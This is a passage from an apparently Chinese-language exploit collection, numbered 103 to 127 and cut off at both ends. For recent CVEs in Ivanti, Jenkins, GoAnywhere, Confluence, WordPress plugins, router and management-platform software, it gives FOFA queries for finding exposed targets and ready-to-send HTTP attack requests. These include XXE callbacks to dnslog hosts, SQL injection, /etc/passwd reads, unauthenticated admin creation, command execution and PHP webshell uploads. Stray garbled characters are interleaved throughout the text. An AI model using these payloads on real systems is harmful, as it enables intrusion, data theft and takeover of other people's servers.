- a* T3 {! u: u<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>

2 D1 W$ z) i8 b103. Ivanti Pulse Connect Secure VPN XXE
, W) l" ]1 h+ E5 b$ m1 p% dCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
/ }- q& i$ L" g' L6 R6 h- HConnection: close
3 D2 T$ ]0 u, x% I4 W+ C6 ^Content-Length: 204
: I4 M8 b% Z6 R3 c6 q) OContent-Type: application/x-www-form-urlencoded
- _9 M! ?; D) g# U" LAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
0 |2 U! S; f( p& X) w, S. Y

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
* n2 u2 u; ^, O* x<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


6 U3 U2 e: ?+ `' X! F$ \104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
. x, R' ]' E0 _4 j$ RCVE-2024-0569
8 }3 m. c! K6 n6 YFOFA：title="TOTOLINK"
0 ?8 J, O5 q) }# d& y) ^/ n/ GPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
2 K0 I$ Y% T' u# n. KContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
* P0 ^& a8 J( F4 f: J+ Y9 lUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
8 s- v% ^* G: h8 Z( [& W2 p6 W: sContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
/ U4 B7 ]3 E# T3 g3 v; gReferer: http://192.168.0.1/advance/index.html?time=1671152380564
' i4 \/ l  l- P0 U  h3 M1 qAccept-Encoding:gzip,deflate
! R0 |0 m* `7 X. [! k- t1 BAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
/ t) b, q$ v3 J% d' h5 x
! ?% M$ F- h! O) \3 \) z, o, H* }{
"topicurl":"getSysStatusCfg",
! J! B) j: q% R# A"token":""
4 p) ^. d7 `1 n- t- F. W}

8 a0 ?8 S% R3 a7 {* y105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
& W) c  t1 _" v" n1 W- X" i
! m5 z" l) G1 N& X& m/ N) v9 A( H106. SpringBlade dict-biz/list SQL 注入
5 Q! L( A- E' S/ Q- h" b2 R, IFOFA：body="Saber 将不能正常工作"
7 a1 B. ~5 L/ S7 M$ jGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
7 S1 Z& Y. V( i; iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* r' L" H1 [& o# L  SBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
# S" p  Y- {7 _% p2 ~Accept-Language: zh-CN,zh;q=0.9
* n! W" u, d. Q: h% T/ pConnection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
& p% i, ^$ I  d+ J: z! `7 sGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
+ l. x# J( W3 y6 l, D, [Host: your-ip
8 {& e8 B2 @7 g" O4 ?" zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
- ^0 Y8 Z$ ~" k  ?Blade-Auth:替换为自己的
Connection: close
" s) x0 z" f6 T9 U8 S. T: L
+ \( ?* _7 O, a$ y8 S" [+ B: q; E; f
$ ~$ E0 Y5 C$ i( N) @, _" E# f6 M108. D-Tale 3.9.0 SSRF
6 O9 P' F/ {7 SCVE-2024-21642
# \8 i! U1 v! w% H& t. FFOFA："dtale/static/images/favicon.png"
/ n! x3 ?5 p5 R5 i+ z: R. w  QGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
9 c! J' G( a& U3 ~/ [: E' _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
; r- v7 C9 [! J( E5 GAccept-Encoding: gzip, deflate
" j! h% }; P: O& v+ aAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ M( y3 @/ A3 }8 ]6 y1 d* i) X) B6 NConnection: close
9 G( ]% V* ?7 [  H- X) B9 Y6 T
! A4 ?: o! ~' L6 V" ~
: H  o' O" _$ s% k3 ?2 D8 E109. Jenkins CLI 任意文件读取
CVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
# Z0 w$ X) |7 d: gSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163
* o( k9 Z+ i* O3 y3 }
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
+ x7 F' m' k) ^  D" l( |/ `
. v" k7 u* E+ _! L: G+ f
POST /cli?remoting=false HTTP/1.1
Host:
! v; M% f) O1 X, a4 i* VSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
6 x/ |7 z0 n# Cdownload
Content-Type: application/x-www-form-urlencoded
3 ^3 K+ V" `7 |# P$ Y+ w5 fContent-Length: 0
6 z- p* H# e, v, U' G( M
3 I8 a  Y# m9 [
% E. L+ a' g2 N  B1 v. ]: [ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
# J6 E8 a4 q5 v[COMMAND]
& u4 c  A" r0 ]% \Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

) X' L+ P6 c, P! g$ `
2 Q4 f% F/ y- _2 F1 E110. Goanywhere MFT 未授权创建管理员
: S4 C3 x& s. ~$ N8 V5 HCVE-2024-0204
' {5 H, D2 ~  {1 z, h! XFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
5 l( d5 [1 Q5 T2 RGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
  _& l% Z5 Q! H( u2 f+ f; G! KHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
# Z* J- e0 b3 \) R* ^/ EConnection: close
Accept: */*
( i1 J; `1 i3 d$ E( i" x0 X9 lAccept-Language: en
" E/ [. c; |9 ]4 }- r8 B, MAccept-Encoding: gzip

- g/ M. d1 p0 n, S7 i3 i* S  f8 n
111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
# N1 }# j- ^4 L8 F& c0 D6 t+ hGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
5 j# j5 d) ?9 {( Z4 VHost: 192.168.40.130:112
7 j2 Z- g0 m; j% i9 J, U) J3 |User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& C( s& m3 l& d- dConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
) d1 A' ]0 [" {( FCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
2 [# t$ ~8 m' RPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

+ `  r  Z/ X/ `6 b{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
4 M7 O& c# g" [# ]7 m) P, A
1 b" i9 X! y  v2 |$ A3 G
! k4 q4 \! S" ^9 Z* T0 l113. WordPress Automatic 插件任意文件下载和SSRF
% m' I$ S6 s: X2 W* Y3 C# c$ {CVE-2024-27954
: `, o2 o, E; B9 R7 E  e5 BFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
; O# |/ {* M4 y) \% DHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

6 v: m6 n+ k; R: C; ^/ H; Q
* w2 e$ D8 E1 K114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
6 E# C2 A- X3 w! J) g' VGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
' Z+ u; O' q) e' FHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
5 {. V: l5 }% h: ]) i& zAccept-Encoding: gzip, deflate
Connection: close

6 u/ X0 M) K  @" E6 n, {
" L6 e6 n3 M' p. B4 q115. WordPress Bricks Builder <= 1.9.6 RCE
  q* A7 }4 w; ^, ]) V. B  rCVE-2024-25600
+ ]+ k0 _1 @2 l+ j4 TFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
9 \9 r& e6 q7 K. y- B* a+ UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
" c1 r1 |/ q% L& }5 o7 mConnection: close
  V0 ~6 B; ~. @$ lAccept-Encoding: gzip
( I+ l2 Y* b: C% h

第二步替换nonce值，执行命令
; T6 R# Q5 }7 Q! x8 ~5 M' o3 ^" fPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
3 {6 |7 p) l. n8 {Content-Length: 356
Content-Type: application/json
Accept-Encoding: gzip

{
0 `1 Z9 W" ^4 M! P"postId": "1",
  "nonce": "第一步获得的值",
; y, J; V3 x2 ^# a; r( h  "element": {
' [. Y8 Y) N$ K! L0 D. q# |; I  B    "name": "container",
" ^5 p+ X3 a- e% U  E; ~    "settings": {
. E6 [4 |: a, f! p- e( E      "hasLoop": "true",
$ B6 o& d! w' p; Z3 z2 h      "query": {
+ T# S* E- G: A1 R* N9 N& O+ e' F        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
6 a/ [) z& S3 u    }
# h0 z3 V# [5 c" \  }
1 J; r' {1 Z/ i: [! y- G0 V}


1 T+ e+ Y, f0 Y$ k: A5 @0 y: a116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
# Y: ?  V1 c8 f' kContent-Type: multipart/form-data; boundary=--------767099171
/ y8 l; w, m8 P# u! O' WUser-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
6 W  Q& N. R4 m# `configuration_saveconfiguration
- a* y" ?8 w! B4 P3 h/ d----------767099171
) c1 l$ d( W/ a. x& \Content-Disposition: form-data; name="form_request"
jssupportticket
5 \3 B- r! Y, l3 b: W6 ^* |/ d----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
. S+ D. O& X/ V2 w# n
* J- t7 \9 `! W  Y! @2 B1 G1 |$ a
- |  z+ G4 b5 l: I) U6 m4 J117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
/ M* n# l# y. I) |" E* ^FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
5 ^/ L' {8 [: B& mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
9 a( i  ]6 z, sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 @( @' G3 m: }1 H( X& mAccept-Encoding: gzip, deflate, br
, L3 q$ Q; q5 T% U1 ZConnection: close
Upgrade-Insecure-Requests: 1
5 @3 {2 J. K+ f2 S. K
. X1 F2 K! m( u
. j* G  X/ B7 [118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
/ A) e+ \1 q/ ]* ?FOFA：title="Smart管理平台"
8 g9 z3 |3 f( i4 C: H" @2 o( ~POST /Tool/uploadfile.php? HTTP/1.1
0 R9 w3 l8 V! \* YHost: 192.168.40.130:8443
& f0 x6 ^; Q, w, X6 vCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
* l5 x. d' t. f) oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
5 z/ g1 Q0 @# f3 C" |9 t, }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' S, R* |9 A, m" s5 DAccept-Encoding: gzip, deflate
/ Q9 D8 L, m5 n! E! [Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
0 F( r* W: t5 ?# Q! o9 IContent-Length: 405
- e" O3 _) N9 s/ C) `, `; TOrigin: https://192.168.40.130:8443
8 u% ^! J/ G* S& o0 sReferer: https://192.168.40.130:8443/Tool/uploadfile.php
( L0 o/ u6 y0 q/ g9 |3 X4 tUpgrade-Insecure-Requests: 1
: M5 ^8 ^/ f! R) FSec-Fetch-Dest: document
8 G  }& [7 W) F  w' ~  a. dSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
2 A* j" }5 ?& g) Z0 ~' qSec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------13979701222747646634037182887
! G6 G$ T. e6 f* @! H4 OContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

<?php
2 M3 F7 o3 p, x9 K) Rsystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
  e# _. s- c, M3 y0 S& M8 d$ O
/home/src.php
-----------------------------13979701222747646634037182887--

, ?& k' _8 y3 S3 b, D8 f
访问/home/src.php

/ V2 t. _2 W8 D9 D119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
7 t) m0 C! y% Y! r4 ^' JFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
* f. S! c. t1 l5 I" S4 @) {1 h# sPOST /sysmanage/sysmanageajax.php HTTP/1.11
0 {' G8 O7 H/ XHost: x.x.x.x
0 W* l& B+ {) B2 }, JCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
/ J- ^' z. z$ h$ E/ z7 \8 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( J; i/ V2 x$ b3 l' T; G5 zAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
+ V5 [/ r* F: I5 PReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
$ L) J2 }3 M# J; v& ]6 vSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
- }; q; u. Q% t, h/ j# hX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
8 H$ A8 ~+ Y% {2 ?Te: trailers
+ x3 `+ e; M" ^/ IConnection: close
0 v2 Y) l% y2 U7 b+ h
  E3 f: b/ y& esrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
# {# T2 Z3 x( N; H# V

" l3 u2 [( o# Y: u120. 北京百绰智能S40管理平台导入web.php任意文件上传
8 j3 {- Y  Q" WCVE-2024-1253
& K. U7 k( O9 M. q* @$ {, \FOFA：title="Smart管理平台"
; I3 O: `; t$ L: q: u  D. XPOST /useratte/web.php? HTTP/1.1
/ D7 X6 |% C' z" x* RHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
5 v  c2 X8 T6 A2 `User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
( d5 C! |$ D& }" K3 g- cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
7 O* y& Z( b6 |  Y' O$ P+ \Content-Length: 597
Origin: https://ip:port
+ x3 Z  r; I2 H- z& Q% ~9 yReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
% o! D7 j6 s" [( e0 LSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
9 V8 V" w: N, N  NSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
. a6 F1 V- t; P& W$ h+ M3 LConnection: close
" b( M) M$ i8 n9 d- g1 d
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
4 r' b1 L5 i1 `( S* T! x
2 j3 ~# M4 }. X8 A( Y/ w<?php phpinfo()?>
& y1 O! T& g: y% b-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

" J6 b* d& U" x9 n, Y4 Y3 s3 t1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
6 [" W& E+ }; U+ K# _0 x( R: V5 M
# \' P! u" ~4 {2 s0 c% M8 p1_radhttp
2 q2 {! ~; x7 B( }" m. j( ~* d1 n' S-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
6 s! _' p3 |. y4 @
! }4 \0 s0 w  n% @2 A& ^import
-----------------------------42328904123665875270630079328
  h. ?/ D; z' |- j
# p# C& f, k/ ~% a* d
  `6 @- s( q0 v% e6 c% e- ^6 c文件路径/upload/2.php
" N! ~  V, |3 S1 e& w+ j( f) Z
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
" d6 X+ B( e. N0 P; tFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
5 K0 Y: s( o! u1 \2 Q# E8 v# _Host: 192.168.40.130:8443
; r8 `. q% P" y% ~; cCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- V7 T, f4 R, U9 \6 _Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
* s/ E& G  R* N. j$ ]( o! E6 {5 hOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
7 W6 d4 c) K0 [$ dSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
! @5 _% e3 H3 v/ m6 h# kTe: trailers
Connection: close

1 S) ?2 ^; b  ~-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
/ z* V* g: B9 XContent-Type: application/octet-stream

3 z/ ?) A% a2 c- h0 w3 `; |<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
, ]% n# `. R- B! j& L& k+ {-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
  _, \6 F9 f  D-----------------------------42328904123665875270630079328
+ Y# t. y' T) PContent-Disposition: form-data; name="hidwel"

( |! M) P( Z3 K4 rset
-----------------------------42328904123665875270630079328
, v, l5 }! R% l2 U/ e6 k5 t! s

% d$ \4 ~) ?+ @/ l. ~! x- pboot/web/upload/weblogo/1.php
3 H' `% T& |/ n; S8 U; N# D9 _
122. 北京百绰智能s200管理平台/importexport.php sql注入
$ K% ?1 b+ Y5 B0 x/ NCVE-2024-27718FOFA：title="Smart管理平台"
- U* V% Z( q& j* G* x0 B% K其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
# A; P! T0 L- Z1 c" W8 jCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( g3 R4 L9 ]! q+ d3 U% t% R6 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
. s# C& ]4 q& }6 _Sec-Fetch-Dest: document
/ F: P) {0 j6 Q2 lSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
- ?  ^& R& z1 c

8 X7 Z' V! a0 }% Z- @123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
% f4 J4 J9 i; W1 r" dAccept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- K/ k7 [: j0 K# K2 c8 s2 ]Connection: close
" B( O& G. p3 Z" Q, n* R: pContent-Type: application/x-www-form-urlencoded

' @0 k$ Z% _6 w  i; [label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


, e0 G& b0 p7 o7 A+ C* |" X/ n124. 湖南建研工程质量检测系统任意文件上传
5 N) N+ Y! ]: nFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
7 [& |: ^' O' ^( n" L. X0 f  RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
6 g1 \' c4 z$ I/ G0 jContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
; z: t; i8 e6 I, n. ^$ Z7 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
9 z4 H3 G+ t8 }- m( ]9 @, C/ Q. N* mContent-Type: application/x-www-form-urlencoded

+ _7 E& D6 F+ g( DfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


) b9 e! T% @# J- c& L6 Uhttp://192.168.40.130:8282/Scripts/abcgcg.aspx

$ [- p& z' B( x125. ConnectWise ScreenConnect身份验证绕过
. n& d- S3 J8 ]) Z$ T7 JCVE-2024-1709
) |8 T, O- ^8 k; A9 h7 AFOFA：icon_hash="-82958153"
% G, E. [, x. I. Ohttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
- o8 _  o: `) x) M2 vpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


3 C7 y( W1 y9 h8 \2 u创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
$ R. X. k3 y! G1 }) iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
3 B. g8 i& z- u1 \; ?% W% E! KConnection: close
Accept: */*
Accept-Language: en
% J2 [$ Q( W1 D  M! bAccept-Encoding: gzip
/ Z# w: \8 N3 k/ M

127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
4 A( `. V/ b- J+ N6 G" A6 I- o( XHost: 192.168.40.130:8888
# g/ {4 c6 P# G  uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; [4 C7 I6 k4 I7 A1 K, E/ s6 zConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

  W1 ~+ g9 g/ }$ V' M0 T9 j------WebKitFormBoundaryJGgV5l5ta05yAIe0
* @' H: D3 F! }5 C/ aContent-Disposition: form-data;name="SystemName"

BIM
